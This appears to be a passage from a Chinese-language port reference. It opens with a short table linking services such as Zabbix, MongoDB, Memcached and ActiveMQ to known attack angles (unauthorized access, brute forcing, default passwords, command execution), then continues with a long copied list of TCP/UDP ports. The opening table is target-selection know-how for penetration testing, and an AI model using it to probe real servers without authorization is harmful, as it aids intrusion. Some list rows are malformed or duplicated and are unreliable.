| 10000 | Virualmin/Webmin | 服务器虚拟主机管理系统 |
| 8059/10050 | Zabbix | 远程命令执行/注入 |
| 11211 | Memcached | 分布式高速缓存系统,检查未授权访问 |
| 18080 | Spark | Spark History Server WEB UI |
| 20880 | Dubbo | 阿里巴巴开源分布式服务框架 |
| 27017/27018/28017 | MongoDB | 未授权访问/爆破 |
| 50000 | SAP | SAP命令执行 |
| 50030 | Hadoop Hive | |
| 60010 | HBase | Hbase master WEB UI |
| 60030 | HBase | Hbase regionServer WEB UI |
| 61616/8161 | ActiveMQ | 未授权访问/默认密码/反序列化 |
| 8080/8088/50060/50070 | Hadoop | 未授权访问 |
## TCP/UDP端口列表
### 0到1023号端口
| 端口 | 描述 | 状态 |
| :---------: | :----------------------------------------------------------: | :----: |
| 0/TCP,UDP | 保留端口;不使用(若发送过程不准备接受回复消息,则可以作为源端口) | 官方 |
| 1/TCP,UDP | [TCPMUX](https://zh.wikipedia.org/w/index.php?title=TCPMUX&action=edit&redlink=1)(传输控制协议端口服务多路开关选择器) | 官方 |
| 5/TCP,UDP | [RJE](https://zh.wikipedia.org/w/index.php?title=Remote_Job_Entry&action=edit&redlink=1)(远程作业登录) | 官方 |
| 7/TCP,UDP | [Echo](https://zh.wikipedia.org/wiki/Echo_(命令))(回显)协议 | 官方 |
| 9/UDP | [抛弃协议](https://zh.wikipedia.org/wiki/抛弃协议) | 官方 |
| 9/TCP,UDP | [网络唤醒](https://zh.wikipedia.org/wiki/网络唤醒) | 非官方 |
| 11/TCP,UDP | [SYSTAT](https://zh.wikipedia.org/w/index.php?title=SYSTAT&action=edit&redlink=1)协议 | 官方 |
| 13/TCP,UDP | [DAYTIME协议](https://zh.wikipedia.org/wiki/DAYTIME协议) | 官方 |
| 15/TCP,UDP | [NETSTAT](https://zh.wikipedia.org/w/index.php?title=NETSTAT&action=edit&redlink=1)协议 | 官方 |
| 17/TCP,UDP | [QOTD](https://zh.wikipedia.org/w/index.php?title=QOTD&action=edit&redlink=1)(Quote of the Day,每日引用)协议 | 官方 |
| 18/TCP,UDP | 消息发送协议 | 官方 |
| 19/TCP,UDP | [CHARGEN](https://zh.wikipedia.org/w/index.php?title=CHARGEN&action=edit&redlink=1)(字符发生器)协议 | 官方 |
| 20/TCP,UDP | [文件传输协议](https://zh.wikipedia.org/wiki/文件传输协议) - 默认数据端口 | 官方 |
| 21/TCP,UDP | [文件传输协议](https://zh.wikipedia.org/wiki/文件传输协议) - 控制端口 | 官方 |
| 22/TCP,UDP | [SSH](https://zh.wikipedia.org/wiki/Secure_Shell)(Secure Shell) - 安全远程登录协议,用于安全文件传输([SCP](https://zh.wikipedia.org/wiki/安全复制)、[SFTP](https://zh.wikipedia.org/wiki/SSH文件传输协议))及[端口转发](https://zh.wikipedia.org/wiki/端口转发) | 官方 |
| 23/TCP,UDP | [Telnet](https://zh.wikipedia.org/wiki/Telnet)终端仿真协议 - 未加密文本通信 | 官方 |
| 25/TCP,UDP | [SMTP(简单邮件传输协议)](https://zh.wikipedia.org/wiki/简单邮件传输协议) - 用于传递[电邮](https://zh.wikipedia.org/wiki/电子邮件) | 官方 |
| 26/TCP,UDP | [RSFTP](https://zh.wikipedia.org/w/index.php?title=RSFTP&action=edit&redlink=1) - 一个简单的类似FTP的协议 | 非官方 |
| 35/TCP,UDP | 任意的私有打印机服务端口 | 非官方 |
| 37/TCP,UDP | [TIME时间协议](https://zh.wikipedia.org/wiki/時間協議) | 官方 |
| 39/TCP,UDP | [Resource Location Protocol(资源定位协议)](https://zh.wikipedia.org/w/index.php?title=资源定位协议&action=edit&redlink=1) | 官方 |
| 41/TCP,UDP | 图形 | 官方 |
| 42/TCP,UDP | [Host Name Server](https://zh.wikipedia.org/wiki/ARPA主机名服务器协议) | 官方 |
| 42/TCP,UDP | [WINS](https://zh.wikipedia.org/wiki/WINS)(WINS主机名服务) | 非官方 |
| 43/TCP | [WHOIS](https://zh.wikipedia.org/wiki/WHOIS)协议 | 官方 |
| 49/TCP,UDP | [TACACS](https://zh.wikipedia.org/wiki/TACACS)登录主机协议 | 官方 |
| 53/TCP,UDP | [DNS](https://zh.wikipedia.org/wiki/域名服务器)(域名服务系统) | 官方 |
| 56/TCP,UDP | 远程访问协议 | 官方 |
| 57/TCP | MTP,邮件传输协议 | 官方 |
| 67/UDP | [BOOTP](https://zh.wikipedia.org/wiki/BOOTP)(BootStrap协议)服务;同时用于[动态主机设置协议](https://zh.wikipedia.org/wiki/动态主机设置协议) | 官方 |
| 68/UDP | [BOOTP](https://zh.wikipedia.org/wiki/BOOTP)客户端;同时用于[动态主机设定协议](https://zh.wikipedia.org/w/index.php?title=动态主机设定协议&action=edit&redlink=1) | 官方 |
| 69/UDP | [小型文件传输协议](https://zh.wikipedia.org/wiki/小型文件传输协议)(小型文件传输协议 TFTP) | 官方 |
| 70/TCP | [Gopher](https://zh.wikipedia.org/wiki/Gopher_(网络协议)) | 官方 |
| 79/TCP | [手指协议](https://zh.wikipedia.org/w/index.php?title=Finger_(protocol)&action=edit&redlink=1) | 官方 |
| 80/TCP,UDP | [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议)(超文本传输协议)或[快速UDP网络连接](https://zh.wikipedia.org/wiki/快速UDP网络连接)- 用于传输网页 | 官方 |
| 81/TCP | [XB Browser](https://zh.wikipedia.org/wiki/XB_Browser) - [Tor](https://zh.wikipedia.org/wiki/Tor) | 非官方 |
| 82/UDP | [XB Browser](https://zh.wikipedia.org/wiki/XB_Browser) - 控制端口 | 非官方 |
| 88/TCP | [Kerberos](https://zh.wikipedia.org/wiki/Kerberos) - 认证代理 | 官方 |
| 101/TCP | 主机名 | 官方 |
| 102/TCP | ISO-TSAP协议 | 官方 |
| 107/TCP | 远程[Telnet](https://zh.wikipedia.org/wiki/Telnet)协议 | 官方 |
| 109/TCP | [邮局协议](https://zh.wikipedia.org/wiki/郵局協定)(POP),第2版 | 官方 |
| 110/TCP | [邮局协议](https://zh.wikipedia.org/wiki/郵局協定),第3版 - 用于接收[电邮](https://zh.wikipedia.org/wiki/电子邮件) | 官方 |
| 111/TCP,UDP | Sun远程过程调用协议 | 官方 |
| 113/TCP | [Ident](https://zh.wikipedia.org/w/index.php?title=Ident_protocol&action=edit&redlink=1) - 旧的服务器身份识别系统,仍然被[IRC](https://zh.wikipedia.org/wiki/IRC)服务器用来认证它的用户 | 官方 |
| 115/TCP | [简单文件传输协议](https://zh.wikipedia.org/wiki/简单文件传输协议) | 官方 |
| 117/TCP | [UNIX间复制协议](https://zh.wikipedia.org/wiki/UUCP)(**U**nix to **U**nix **C**opy **P**rotocol,UUCP)的路径确定服务 | 官方 |
| 118/TCP,UDP | [SQL](https://zh.wikipedia.org/wiki/SQL)服务 | 官方 |
| 119/TCP | [网络新闻传输协议](https://zh.wikipedia.org/wiki/网络新闻传输协议) - 用来收取新闻组的消息 | 官方 |
| 123/UDP | [NTP](https://zh.wikipedia.org/wiki/網絡時間協議)(Network Time Protocol) - 用于时间同步 | 官方 |
| 135/TCP,UDP | [分布式运算环境](https://zh.wikipedia.org/wiki/分散式運算環境)(Distributed Computing Environment,DCE)终端解决方案及定位服务 | 官方 |
| 135/TCP,UDP | [微软](https://zh.wikipedia.org/wiki/微软)终端映射器(End Point Mapper,EPMAP) | 官方 |
| 137/TCP,UDP | [NetBIOS](https://zh.wikipedia.org/wiki/NetBIOS) NetBIOS 名称服务 | 官方 |
| 138/TCP,UDP | [NetBIOS](https://zh.wikipedia.org/wiki/NetBIOS) NetBIOS 数据报文服务 | 官方 |
| 139/TCP,UDP | [NetBIOS](https://zh.wikipedia.org/wiki/NetBIOS) NetBIOS 会话服务 | 官方 |
| 143/TCP,UDP | [因特网信息访问协议](https://zh.wikipedia.org/wiki/因特网信息访问协议)(IMAP) - 用于检索[电邮](https://zh.wikipedia.org/wiki/电子邮件) | 官方 |
| 152/TCP,UDP | BFTP, 后台文件传输程序 | 官方 |
| 153/TCP,UDP | 简单网关监控协议([Simple Gateway Monitoring Protocol](https://zh.wikipedia.org/w/index.php?title=Simple_Gateway_Monitoring_Protocol&action=edit&redlink=1),SGMP) | 官方 |
| 156/TCP,UDP | SQL服务 | 官方 |
| 158/TCP,UDP | DMSP, 分布式邮件服务协议 | 非官方 |
| 161/TCP,UDP | [简单网络管理协议](https://zh.wikipedia.org/wiki/简单网络管理协议)(SNMP) | 官方 |
| 162/TCP,UDP | SNMP协议的TRAP操作 | 官方 |
| 170/TCP | 打印服务 | 官方 |
| 179/TCP | [边界网关协议](https://zh.wikipedia.org/wiki/边界网关协议) (BGP) | 官方 |
| 194/TCP | [IRC](https://zh.wikipedia.org/wiki/IRC)(互联网中继聊天) | 官方 |
| 201/TCP,UDP | AppleTalk 路由维护 | 官方 |
| 209/TCP,UDP | Quick Mail 传输协议 | 官方 |
| 213/TCP,UDP | [互联网分组交换协议](https://zh.wikipedia.org/wiki/互联网分组交换协议)(IPX) | 官方 |
| 218/TCP,UDP | MPP,信息发布协议 | 官方 |
| 220/TCP,UDP | [因特网信息访问协议](https://zh.wikipedia.org/wiki/因特网信息访问协议)(IMAP),第3版 | 官方 |
| 259/TCP,UDP | ESRO, Efficient Short Remote Operations | 官方 |
| 264/TCP,UDP | [BGMP](https://zh.wikipedia.org/w/index.php?title=Border_Gateway_Multicast_Protocol&action=edit&redlink=1),边界网关多播协议 | 官方 |
| 308/TCP | Novastor 在线备份 | 官方 |
| 311/TCP | Apple 服务器管理员工具、工作组管理 | 官方 |
| 318/TCP,UDP | TSP,[时间戳协议](https://zh.wikipedia.org/w/index.php?title=时间戳协议&action=edit&redlink=1) | 官方 |
| 323/TCP,UDP | IMMP, Internet消息映射协议 | 官方 |
| 383/TCP,UDP | HP OpenView HTTPs 代理程序 | 官方 |
| 366/TCP,UDP | ODMR,按需邮件传递 | 官方 |
| 369/TCP,UDP | Rpc2 端口映射 | 官方 |
| 371/TCP,UDP | ClearCase 负载平衡 | 官方 |
| 384/TCP,UDP | 一个远程网络服务器系统 | 官方 |
| 387/TCP,UDP | AURP,AppleTalk 升级用路由协议 | 官方 |
| 389/TCP,UDP | 轻型目录访问协议 LDAP | 官方 |
| 401/TCP,UDP | [不间断电源](https://zh.wikipedia.org/wiki/不间断电源)(UPS) | 官方 |
| 411/TCP | [Direct Connect](https://zh.wikipedia.org/w/index.php?title=Direct_Connect_network&action=edit&redlink=1) Hub 端口 | 非官方 |
| 412/TCP | [Direct Connect](https://zh.wikipedia.org/w/index.php?title=Direct_Connect_network&action=edit&redlink=1) 客户端—客户端 端口 | 非官方 |
| 427/TCP,UDP | [服务定位协议](https://zh.wikipedia.org/wiki/服務定位協定)(SLP) | 官方 |
| 443/TCP | [超文本传输安全协议](https://zh.wikipedia.org/wiki/超文本传输安全协议)或[QUIC](https://zh.wikipedia.org/wiki/QUIC) | 官方 |
| 444/TCP,UDP | [SNPP](https://zh.wikipedia.org/w/index.php?title=Simple_Network_Paging_Protocol&action=edit&redlink=1),简单网络分页协议 | 官方 |
| 445/TCP | Microsoft-DS ([Active Directory](https://zh.wikipedia.org/wiki/Active_Directory)、Windows 共享、[震荡波蠕虫](https://zh.wikipedia.org/wiki/震盪波蠕蟲)、Agobot、Zobotworm) | 官方 |
| 445/UDP | Microsoft-DS [服务器消息块](https://zh.wikipedia.org/wiki/伺服器訊息區塊)(SMB)文件共享 | 官方 |
| 464/TCP,UDP | Kerberos 更改/设定密码 | 官方 |
| 465/TCP | Cisco 专用协议 | 官方 |
| 465/TCP | [传输层安全性协议](https://zh.wikipedia.org/wiki/傳輸層安全性協定)加密的[简单邮件传输协议](https://zh.wikipedia.org/wiki/简单邮件传输协议) | 官方 |
| 475/TCP | tcpnethaspsrv([Hasp](https://zh.wikipedia.org/w/index.php?title=Hasp&action=edit&redlink=1) 服务,TCP/IP 版本) | 官方 |
| 497/TCP | [dantz](https://zh.wikipedia.org/w/index.php?title=Retrospect&action=edit&redlink=1) 备份服务 | 官方 |
| 500/TCP,UDP | [网络安全关系与密钥管理协议](https://zh.wikipedia.org/wiki/網路安全關聯與金鑰管理協定),IKE-Internet 密钥交换 | 官方 |
| 502/TCP,UDP | [Modbus](https://zh.wikipedia.org/wiki/Modbus) 协议 | 官方 |
| 512/TCP | exec,远程进程执行 | 官方 |
| 512/UDP | comsat 和 [biff](https://zh.wikipedia.org/w/index.php?title=Biff_(電腦運算)&action=edit&redlink=1) 命令:用于电邮系统 | 官方 |
| 513/TCP | login,登录命令 | 官方 |
| 513/UDP | Who命令,查看当前登录电脑的用户 | 官方 |
| 514/TCP | [远程外壳](https://zh.wikipedia.org/wiki/远程外壳) protocol - 用于在远程电脑上执行非交互式命令,并查看返回结果 | 官方 |
| 514/UDP | [Syslog](https://zh.wikipedia.org/wiki/Syslog) 协议 - 用于远程日志 | 官方 |
| 515/TCP | [Line Printer Daemon protocol](https://zh.wikipedia.org/wiki/行式打印机后台程序协议) - 用于 LPD 打印机服务器 | 官方 |
| 517/UDP | Talk | 官方 |
| 518/UDP | NTalk | 官方 |
| 520/TCP | efs | 官方 |
| 520/UDP | Routing - [路由信息协议](https://zh.wikipedia.org/wiki/路由信息协议) | 官方 |
| 513/UDP | 路由器 | 官方 |
| 524/TCP,UDP | [NetWare核心协议](https://zh.wikipedia.org/wiki/NetWare核心協定)(NetWare 核心协议)用于一系列功能,例如访问NetWare主服务器资源、同步时间等 | 官方 |
| 525/UDP | Timed,时间服务 | 官方 |
| 530/TCP,UDP | [远程过程调用](https://zh.wikipedia.org/wiki/远程过程调用) | 官方 |
| 531/TCP,UDP | AOL 即时通信软件, IRC | 非官方 |
| 532/TCP | netnews | 官方 |
| 533/UDP | netwall,用于紧急广播 | 官方 |
| 540/TCP | [UUCP](https://zh.wikipedia.org/wiki/UUCP)(Unix-to-Unix 复制协议) | 官方 |
| 542/TCP,UDP | [商业](https://zh.wikipedia.org/wiki/商业)(Commerce Applications) | 官方 |
| 543/TCP | klogin,Kerberos登陆 | 官方 |
| 544/TCP | kshell,Kerberos 远程shell | 官方 |
| 546/TCP,UDP | DHCPv6客户端 | 官方 |
| 547/TCP,UDP | DHCPv6服务器 | 官方 |
| 548/TCP | 通过传输控制协议(TCP)的 Appletalk 文件编制协议(AFP([苹果归档协议](https://zh.wikipedia.org/wiki/苹果归档协议))) | 官方 |
| 550/UDP | new-rwho,new-who | 官方 |
| 554/TCP,UDP | [即时流协议](https://zh.wikipedia.org/wiki/即時串流協定) | 官方 |
| 556/TCP | Brunhoff 的远程文件系统(RFS) | 官方 |
| 560/UDP | rmonitor, Remote Monitor | 官方 |
| 561/UDP | monitor | 官方 |
| 563/TCP,UDP | 通过[TLS](https://zh.wikipedia.org/wiki/TLS)的[网络新闻传输协议](https://zh.wikipedia.org/wiki/网络新闻传输协议)(NNTPS) | 官方 |
| 587/TCP | 邮件消息提交([简单邮件传输协议](https://zh.wikipedia.org/wiki/简单邮件传输协议),[RFC 2476](https://tools.ietf.org/html/rfc2476)) | 官方 |
| 591/TCP | [FileMaker](https://zh.wikipedia.org/wiki/FileMaker) 6.0(及之后版本)网络共享(HTTP的替代,见80端口) | 官方 |
| 593/TCP,UDP | HTTP RPC Ep Map(RPC over HTTP, often used by [Distributed COM](https://zh.wikipedia.org/wiki/Distributed_COM) services and [Microsoft Exchange Server](https://zh.wikipedia.org/wiki/Microsoft_Exchange_Server)) | 官方 |
| 604/TCP | TUNNEL | 官方 |
| 631/TCP,UDP | [互联网打印协议](https://zh.wikipedia.org/wiki/互聯網列印協定) | |
| 636/TCP,UDP | [LDAP](https://zh.wikipedia.org/wiki/轻型目录访问协议) over [TLS](https://zh.wikipedia.org/wiki/传输层安全协议)(加密传输,也被称为LDAPS) | 官方 |
| 639/TCP,UDP | MSDP,[组播源发现协议](https://zh.wikipedia.org/wiki/组播源发现协议) | 官方 |
| 646/TCP,UDP | LDP,标签分发协议 | 官方 |
| 647/TCP | DHCP故障转移协议 | 官方 |
| 648/TCP | RRP(Registry Registrar Protocol),注册表注册协议 | 官方 |
| 652/TCP | DTCP(Dynamic Tunnel Configuration Protocol),[动态主机设置协议](https://zh.wikipedia.org/wiki/动态主机设置协议) | 官方 |
| 654/UDP | AODV(Ad hoc On-Demand Distance Vector),[无线自组网按需平面距离向量路由协议](https://zh.wikipedia.org/wiki/无线自组网按需平面距离矢量路由协议) | 官方 |
| 665/TCP | sun-dr, Remote Dynamic Reconfiguration | 非官方 |
| 666/UDP | [毁灭战士](https://zh.wikipedia.org/wiki/毁灭战士),电脑平台上的一系列[第一人称射击游戏](https://zh.wikipedia.org/wiki/第一人称射击游戏)。 | 官方 |
| 674/TCP | ACAP(Application Configuration Access Protocol),应用配置访问协议 | 官方 |
| 691/TCP | MS Exchange Routing | 官方 |
| 692/TCP | Hyperwave-ISP | |
| 694/UDP | 用于带有高可用性的聚类的心跳服务 | 非官方 |
| 695/TCP | IEEE-MMS-SSL | |
| 698/UDP | OLSR(Optimized Link State Routing),优化链路状态路由协议 | |
| 699/TCP | Access Network | |
| 700/TCP | EPP, 可扩展供应协议 | |
| 701/TCP | LMP,链路管理协议 | |
| 702/TCP | IRIS over BEEP | |
| 706/TCP | SILC,Secure Internet Live Conferencing | |
| 711/TCP | TDP,标签分发协议 | |
| 712/TCP | TBRPF,Topology Broadcast based on Reverse-Path Forwarding | |
| 720/TCP | SMQP,Simple Message Queue Protocol | |
| 749/TCP,UDP | kerberos-adm,Kerberos administration | |
| 750/UDP | Kerberos version IV | |
| 782/TCP | [Conserver](https://zh.wikipedia.org/w/index.php?title=Conserver&action=edit&redlink=1) serial-console management server | |
| 829/TCP | [证书管理协议](https://zh.wikipedia.org/wiki/证书管理协议)(CMP)[[2\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-rfc4210-2) | |
| 860/TCP | [ISCSI](https://zh.wikipedia.org/wiki/ISCSI),Internet小型电脑系统接口 | |
| 873/TCP | [Rsync](https://zh.wikipedia.org/wiki/Rsync),文件同步协议 | 官方 |
| 901/TCP | [Samba](https://zh.wikipedia.org/wiki/Samba) 网络管理工具(SWAT) | 非官方 |
| 902 | [VMware](https://zh.wikipedia.org/wiki/VMware)服务器控制台[[3\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-3) | 非官方 |
| 904 | [VMware](https://zh.wikipedia.org/wiki/VMware)服务器替代(如果902端口已被占用) | 非官方 |
| 911/TCP | [Network Console on Acid](https://zh.wikipedia.org/w/index.php?title=Network_Console_on_Acid&action=edit&redlink=1)(NCA) - local [tty](https://zh.wikipedia.org/wiki/Linux) redirection over [OpenSSH](https://zh.wikipedia.org/wiki/OpenSSH) | |
| 981/TCP | [Check Point](https://zh.wikipedia.org/wiki/Check_Point) Remote HTTPS management for firewall devices running embedded [Checkpoint Firewall-1](https://zh.wikipedia.org/w/index.php?title=Checkpoint_Firewall-1&action=edit&redlink=1) software | 非官方 |
| 989/TCP,UDP | FTP Protocol (data) over TLS/SSL | 官方 |
| 990/TCP,UDP | FTP Protocol (control) over TLS/SSL | 官方 |
| 991/TCP,UDP | NAS (Netnews Admin System) | |
| 992/TCP,UDP | 基于TLS/SSL的Telnet协议 | 官方 |
| 993/TCP | 基于 [传输层安全性协议](https://zh.wikipedia.org/wiki/傳輸層安全性協定)的[因特网信息访问协议](https://zh.wikipedia.org/wiki/因特网信息访问协议) (加密传输) | 官方 |
| 995/TCP | 基于 [传输层安全性协议](https://zh.wikipedia.org/wiki/傳輸層安全性協定)的[邮局协议](https://zh.wikipedia.org/wiki/郵局協定) (加密传输) | 官方 |
### 1024到49151号端口
| 端口 | 描述 | 状态 |
| :----------------------------------------------------------: | :----------------------------------------------------------: | :----: |
| 1025/TCP | NFS-or-IIS | 非官方 |
| 1026/TCP | 通常用于微软[Distributed COM](https://zh.wikipedia.org/wiki/Distributed_COM)服务器 | 非官方 |
| 1029/TCP | 通常用于微软[Distributed COM](https://zh.wikipedia.org/wiki/Distributed_COM)服务器 | 非官方 |
| 1058/TCP | nim [IBM AIX](https://zh.wikipedia.org/wiki/IBM_AIX) | 官方 |
| 1059/TCP | nimreg | 官方 |
| 1080/TCP | [SOCKS](https://zh.wikipedia.org/wiki/SOCKS)代理 | 官方 |
| 1099/TCP,UDP | [Java远程方法调用](https://zh.wikipedia.org/wiki/Java远程方法调用) Registry | 官方 |
| 1109/TCP | Kerberos POP | |
| 1140/TCP | AutoNOC | 官方 |
| 1167/UDP | phone, conference calling | |
| 1176/TCP | Perceptive Automation Indigo home control server | 官方 |
| 1182/TCP,UDP | [AcceleNet](https://zh.wikipedia.org/w/index.php?title=AcceleNet&action=edit&redlink=1) | 官方 |
| 1194/UDP | [OpenVPN](https://zh.wikipedia.org/wiki/OpenVPN) | 官方 |
| 1198/TCP,UDP | The [cajo project](https://zh.wikipedia.org/w/index.php?title=Cajo_project&action=edit&redlink=1) Free dynamic transparent distributed computing in Java | 官方 |
| 1200/UDP | [Steam](https://zh.wikipedia.org/wiki/Steam) | 官方 |
| 1214/TCP | [Kazaa](https://zh.wikipedia.org/w/index.php?title=Kazaa&action=edit&redlink=1) | 官方 |
| 1223/TCP,UDP | TGP: TrulyGlobal Protocol | 官方 |
| [Nessus](https://zh.wikipedia.org/wiki/Nessus) Security Scanner | 官方 | |
| 1248/TCP | NSClient/NSClient++/NC_Net (Nagios) | 非官方 |
| 1270/TCP,UDP | Microsoft Operations Manager 2005 agent (MOM 2005) | 官方 |
| 1311/TCP | Dell Open Manage Https Port | 非官方 |
| 1313/TCP | Xbiim (Canvii server) Port | 非官方 |
| 1337/TCP | [WASTE](https://zh.wikipedia.org/w/index.php?title=WASTE&action=edit&redlink=1) Encrypted File Sharing Program | 非官方 |
| 1352/TCP | IBM [IBM Lotus Notes](https://zh.wikipedia.org/wiki/IBM_Lotus_Notes)/Domino RPC | 官方 |
| 1387/TCP,UDP | Computer Aided Design Software Inc LM (cadsi-lm ) | 官方 |
| 1414/TCP | IBM [MQSeries](https://zh.wikipedia.org/w/index.php?title=MQSeries&action=edit&redlink=1) | 官方 |
| 1431/TCP | RGTP | 官方 |
| 1433/TCP,UDP | [Microsoft SQL](https://zh.wikipedia.org/wiki/Microsoft_SQL_Server) 数据库系统 | 官方 |
| 1434/TCP,UDP | Microsoft SQL 活动监视器 | 官方 |
| 1494/TCP | [思杰系统](https://zh.wikipedia.org/wiki/思杰系统) ICA Client | 官方 |
| 1512/TCP,UDP | [WINS](https://zh.wikipedia.org/wiki/WINS) | |
| 1521/TCP | [nCube](https://zh.wikipedia.org/w/index.php?title=NCube&action=edit&redlink=1) License Manager | 官方 |
| 1521/TCP | [Oracle数据库](https://zh.wikipedia.org/wiki/Oracle数据库) default listener, in future releases official port 2483 | 非官方 |
| 1524/TCP,UDP | ingreslock, ingres | 官方 |
| 1526/TCP | [Oracle数据库](https://zh.wikipedia.org/wiki/Oracle数据库) common alternative for listener | 非官方 |
| 1533/TCP | IBM [Lotus Sametime](https://zh.wikipedia.org/wiki/Lotus_Sametime) IM - Virtual Places Chat | 官方 |
| 1547/TCP,UDP | [Laplink](https://zh.wikipedia.org/w/index.php?title=Laplink&action=edit&redlink=1) | 官方 |
| 1550 | [Gadu-Gadu](https://zh.wikipedia.org/w/index.php?title=Gadu-Gadu&action=edit&redlink=1) (Direct Client-to-Client) | 非官方 |
| 1581/UDP | [MIL STD 2045-47001 VMF](https://zh.wikipedia.org/w/index.php?title=Combat-net_radio&action=edit&redlink=1) | 官方 |
| 1589/UDP | Cisco [VQP](https://zh.wikipedia.org/w/index.php?title=VQP&action=edit&redlink=1) (VLAN Query Protocol) / [VMPS](https://zh.wikipedia.org/w/index.php?title=VLAN_Management_Policy_Server&action=edit&redlink=1) | 非官方 |
| 1627 | iSketch | 非官方 |
| 1677/TCP | Novell GroupWise clients in client/server access mode | |
| 1701/UDP | [第二层隧道协议](https://zh.wikipedia.org/wiki/第二层隧道协议), Layer 2 Tunnelling protocol | |
| 1716/TCP | [美国陆军系列](https://zh.wikipedia.org/wiki/美國陸軍系列) MMORPG Default Game Port | 官方 |
| 1723/TCP,UDP | Microsoft [点对点隧道协议](https://zh.wikipedia.org/wiki/點對點隧道協議) VPN | 官方 |
| 1725/UDP | Valve Steam Client | 非官方 |
| 1755/TCP,UDP | [MMS (协议)](https://zh.wikipedia.org/wiki/MMS_(协议)) (MMS, ms-streaming) | 官方 |
| 1761/TCP,UDP | cft-0 | 官方 |
| 1761/TCP | [Novell](https://zh.wikipedia.org/wiki/Novell) Zenworks Remote Control utility | 非官方 |
| 1762-1768/TCP,UDP | cft-1 to cft-7 | 官方 |
| 1812/UDP | radius, [远端用户拨入验证服务](https://zh.wikipedia.org/wiki/远端用户拨入验证服务) authentication protocol | |
| 1813/UDP | radacct, [远端用户拨入验证服务](https://zh.wikipedia.org/wiki/远端用户拨入验证服务) accounting protocol | |
| 1863/TCP | [Windows Live Messenger](https://zh.wikipedia.org/wiki/Windows_Live_Messenger), MSN | 官方 |
| 1883/TCP | Message Queuing Telemetry Transport (MQTT) | 官方 |
| 1900/UDP | Microsoft [简单服务发现协议](https://zh.wikipedia.org/wiki/简单服务发现协议) Enables discovery of [UPnP](https://zh.wikipedia.org/wiki/UPnP) devices | 官方 |
| 1935/TCP | [实时消息协议](https://zh.wikipedia.org/wiki/实时消息协议) (RTMP) raw protocol | 官方 |
| 1970/TCP,UDP | [Danware Data](https://zh.wikipedia.org/w/index.php?title=Danware_Data_A/S&action=edit&redlink=1) NetOp Remote Control | 官方 |
| 1971/TCP,UDP | [Danware Data](https://zh.wikipedia.org/w/index.php?title=Danware_Data_A/S&action=edit&redlink=1) NetOp School | 官方 |
| 1972/TCP,UDP | [InterSystems Caché](https://zh.wikipedia.org/w/index.php?title=InterSystems_Caché&action=edit&redlink=1) | 官方 |
| 1975-77/UDP | Cisco [TCO](https://zh.wikipedia.org/w/index.php?title=Total_cost_of_ownership&action=edit&redlink=1) ([Documentation](http://www.cisco.com/en/US/netsol/networking_solutions_networking_basic09186a00800a3524.html)) | 官方 |
| 1984/TCP | Big Brother - network monitoring tool | 官方 |
| 1985/UDP | [热备份路由器协议](https://zh.wikipedia.org/wiki/熱備份路由器協定) | 官方 |
| 1994/TCP | STUN-SDLC protocol for tunneling | |
| 1998/TCP | Cisco X.25 service (XOT) | |
| 2000/TCP,UDP | [Cisco SCCP (Skinny)](https://zh.wikipedia.org/w/index.php?title=Skinny_Client_Control_Protocol&action=edit&redlink=1) | 官方 |
| 2002/TCP | Cisco Secure Access Control Server (ACS) for Windows | 非官方 |
| 2030 | [甲骨文公司](https://zh.wikipedia.org/wiki/甲骨文公司) Services for [Microsoft Transaction Server](https://zh.wikipedia.org/w/index.php?title=Microsoft_Transaction_Server&action=edit&redlink=1) | 非官方 |
| 2031/TCP,UDP | [mobrien-chat](https://zh.wikipedia.org/w/index.php?title=Mobrien-chat&action=edit&redlink=1) - Mike O'Brien <mike@mobrien.com> November 2004 | 官方 |
| 2049/UDP | nfs, [NFS](https://zh.wikipedia.org/wiki/网络文件系统) Server | 官方 |
| 2049/UDP | shilp | 官方 |
| 2053/TCP | knetd, [Kerberos](https://zh.wikipedia.org/wiki/Kerberos) de-multiplexor | |
| 2056/UDP | [文明IV](https://zh.wikipedia.org/wiki/文明IV) multiplayer | 非官方 |
| 2073/TCP,UDP | DataReel Database | 官方 |
| 2074/TCP,UDP | Vertel VMF SA (i.e. App.. SpeakFreely) | 官方 |
| 2082/TCP | Infowave Mobility Server | 官方 |
| 2082/TCP | [CPanel](https://zh.wikipedia.org/wiki/CPanel), default port | 非官方 |
| 2083/TCP | Secure Radius Service (radsec) | 官方 |
| 2083/TCP | [CPanel](https://zh.wikipedia.org/wiki/CPanel) default SSL port | 非官方 |
| 2086/TCP | [GNUnet](https://zh.wikipedia.org/w/index.php?title=GNUnet&action=edit&redlink=1) | 官方 |
| 2086/TCP | [CPanel](https://zh.wikipedia.org/wiki/CPanel) default port | 非官方 |
| 2087/TCP | [CPanel](https://zh.wikipedia.org/wiki/CPanel) default SSL port | 非官方 |
| 2095/TCP | [CPanel](https://zh.wikipedia.org/wiki/CPanel) default webmail port | 非官方 |
| 2096/TCP | [CPanel](https://zh.wikipedia.org/wiki/CPanel) default SSL webmail port | 非官方 |
| 2161/TCP | [问号](https://zh.wikipedia.org/wiki/问号)-APC Agent | 官方 |
| 2181/TCP,UDP | [EForward](https://zh.wikipedia.org/w/index.php?title=EForward&action=edit&redlink=1)-document transport system | 官方 |
| 2200/TCP | Tuxanci game server | 非官方 |
| 2219/TCP,UDP | NetIQ NCAP Protocol | 官方 |
| 2220/TCP,UDP | NetIQ End2End | 官方 |
| 2222/TCP | [DirectAdmin](https://zh.wikipedia.org/w/index.php?title=DirectAdmin&action=edit&redlink=1)'s default port | 非官方 |
| 2222/UDP | Microsoft Office OS X antipiracy network monitor [[1\]](https://web.archive.org/web/20080225053131/http://www.ciac.org/ciac/techbull/CIACTech02-003.shtml) | 非官方 |
| 2301/TCP | HP System Management Redirect to port 2381 | 非官方 |
| 2302/UDP | [武装突袭](https://zh.wikipedia.org/wiki/武装突袭) multiplayer (default for game) | 非官方 |
| 2302/UDP | [最后一战:战斗进化](https://zh.wikipedia.org/wiki/最後一戰:戰鬥進化) multiplayer | 非官方 |
| 2303/UDP | [武装突袭](https://zh.wikipedia.org/wiki/武装突袭) multiplayer (default for server reporting) (游戏内定端口 +1) | 非官方 |
| 2305/UDP | [武装突袭](https://zh.wikipedia.org/wiki/武装突袭) multiplayer (default for VoN) (游戏内定端口 +3) | 非官方 |
| 2369/TCP | Default port for [BMC软件公司](https://zh.wikipedia.org/wiki/BMC軟件公司) CONTROL-M/Server - Configuration Agent port number - though often changed during installation | 非官方 |
